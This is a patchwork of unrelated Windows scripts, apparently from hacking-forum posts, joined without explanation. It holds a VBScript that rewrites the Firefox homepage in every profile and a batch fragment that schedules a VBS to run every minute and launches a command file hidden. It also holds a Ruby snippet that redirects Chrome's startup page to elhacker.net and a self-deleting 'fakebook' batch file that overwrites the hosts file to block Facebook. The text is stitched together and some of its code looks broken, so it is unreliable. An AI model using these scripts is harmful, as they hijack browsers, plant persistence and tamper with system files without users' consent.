Rem *********************************************
Rem *   By JavCasta 2.010 - http://javcasta.com *
Rem *********************************************
 
Rem Script en vbs para definir página de inicio en Firefox
Rem probado en windows XP SP3 con Mozilla Firefox 3.6.6
 
aux = inputbox("Introduce página de inicio, p.e: http://www.google.es")
If (aux="") Then
    aux="http://www.javcasta.com"
end If
inicio0 = "user_pref(" & chr(34) & "browser.startup.homepage" & chr(34) & ","
 
inicio1 = inicio0 & chr(34) & aux & chr(34) & ");"
 
Rem msgbox inicio1
 
Rem obtenemos variable de entorno %appdata%
Set oShell = CreateObject( "WScript.Shell" )
vappdata=oShell.ExpandEnvironmentStrings("%APPDATA%")
 
Rem directorio de perfiles de firefox
vconffirefox= vappdata & "\Mozilla\Firefox\Profiles"
 
Rem si existe dir de perfiles de firefox
Set objFSO = CreateObject("Scripting.FileSystemObject")
Rem Set objFSO2 = CreateObject("Scripting.FileSystemObject")
If objFSO.FolderExists(vconffirefox) Then
    Set objFolder = objFSO.GetFolder(vconffirefox)
    Rem msgbox "Si existe " & vconffirefox
Else
    Wscript.Echo "Carpeta de perfiles de firefox no existe."
End If
Rem subdirectorios, tantos como perfiles
Set vSubdir = objFolder.SubFolders
Rem recorremos todos los perfiles (subcarpetas xxxx.default)
 
  For Each f1 in vSubdir
       Rem prefs.js abrimos para lectura
       Set objTextFile = objFSO.OpenTextFile(f1 & "\prefs.js",1)
       Set objTextFile2 = objFSO.CreateTextFile(f1 & "\prefstemp.js")
        
       Do While not objTextFile.AtEndOfStream
        linea = objTextFile.ReadLine
         
        if (Left(linea, 37)<>inicio0) Then
            objTextFile2.WriteLine linea
             
        Else
            objTextFile2.WriteLine inicio1
            MsgBox inicio1
        end if  
       Loop
       Rem End If 'if1
       objTextFile2.Close
       objTextFile.Close
       Set objFileCopy = objFSO.GetFile(f1 & "\prefstemp.js")
       objFileCopy.Delete(f1 & "\prefs.js")
       objFileCopy.Move(f1 & "\prefs.js")
   Next

@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR C:\elhacker.vbs

set objshell = createobject("wscript.shell")
objshell.run "archivo.cmd",vbhide

# -*- coding: UTF-8 -*-
 
@inichrome = ["http://www.elhacker.net/"]
@Content  = ""
	 
open("Chrome.js", "r") do |text|
while (line = text.gets)
if line.include?("urls_to_restore_on_startup") then line = ("\"urls_to_restore_on_startup \": \"#{@inichrome}\",\"\n") end
@Content = @Content + "#{line}"
puts "#{line}"
end
end

open("NEW_Chrome.js", 'w') { |text| text.puts @Content}

__END__

[color=green][/color]@echo off
title fakebook
color 2
echo.
echo # Copyright (c) 1993-1999 Microsoft Corp. > hosts.
echo # >> hosts.
echo # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.>>hosts.
echo # >> hosts.
echo # This file contains the mappings of IP addresses to host names. Each >> hosts.
echo # entry should be kept on an individual line. The IP address should>> hosts.
echo # be placed in the first column followed by the corresponding host name.>> hosts.
echo # The IP address and the host name should be separated by at least one >> hosts.
echo # space.>> hosts.
echo # >> hosts.
echo # Additionally, comments (such as these) may be inserted on individual >> hosts.
echo # lines or following the machine name denoted by a '#' symbol.>> hosts.
echo # >> hosts.
echo # For example: >>hosts.
echo # >> hosts.
echo #      102.54.94.97     rhino.acme.com          # source server >>hosts.
echo #       38.25.63.10     x.acme.com              # x client host >>hosts.
echo.  >> hosts.
echo 127.0.0.1       localhost >> hosts.
echo 127.0.0.1       www.facebook.com>> hosts.
echo 127.0.0.1 facebook.com >> hosts.
echo.
echo.
move "hosts. " "C:\WINDOWS\system32\drivers\etc"
del fakebook.bat